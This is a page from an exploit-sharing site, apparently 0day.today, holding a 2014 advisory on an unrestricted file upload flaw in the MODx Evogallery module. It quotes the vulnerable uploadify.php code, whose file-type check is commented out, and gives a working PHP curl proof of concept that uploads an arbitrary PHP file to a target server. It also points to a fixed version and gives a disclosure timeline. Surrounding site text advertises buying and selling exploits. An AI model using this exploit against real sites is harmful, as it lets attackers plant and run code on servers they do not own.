0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MODx (Evogallery) File Upload Vulnerability
[[+] Author: TUNISIAN CYBER
[+] Exploit Title: MODx (Evogallery) File Upload Vulnerability
[+] Date: 18-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://modx.com/extras/package/evogallery
[+] Friendly Sites: na3il.com,th3-creative.com
1.OVERVIEW:
MODx's module Evogallery suffers from a File Upload Vulnerability.
2.Background:
EvoGallery is a dynamic gallery extra for MODx Evolution.
It allows you to quickly and easily create galleries of images by associating them with any page on your site.
Galleries can be outputted in a variety of ways using a templated system.
http://modx.com/extras/package/evogallery
3.Vulnerability:
File : /assets/modules/evogallery/js/uploadify/uploadify.php Lines:27--->45
[PHP]
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
$targetFile = str_replace('//','/',$targetPath) .
$_FILES['Filedata']['name'];
// $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
// $fileTypes = str_replace(';','|',$fileTypes);
// $typesArray = split('\|',$fileTypes);
// $fileParts = pathinfo($_FILES['Filedata']['name']);
// if (in_array($fileParts['extension'],$typesArray)) {
// Uncomment the following line if you want to make the directory if it
doesn't exist
// mkdir(str_replace('//','/',$targetPath), 0755, true);
move_uploaded_file($tempFile,$targetFile);
echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
// } else {
// echo 'Invalid file type.';
// }
}
[PHP]
4.Proof Of Concept:
<?php
$uploadfile="file.php";
$ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
File can be found at demo.ltd/file.php
5.Solution(s):
Download fixed version:
https://github.com/Mark-H/EvoGallery
6.TIME-LINE:
2014-02-17: Vulnerability was discovered.
2014-02-17: Contact with the module maker.
2014-02-18: Bug fixed
2014-02-18: Vulnerability released.
7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members
# 0day.today [2024-12-25] #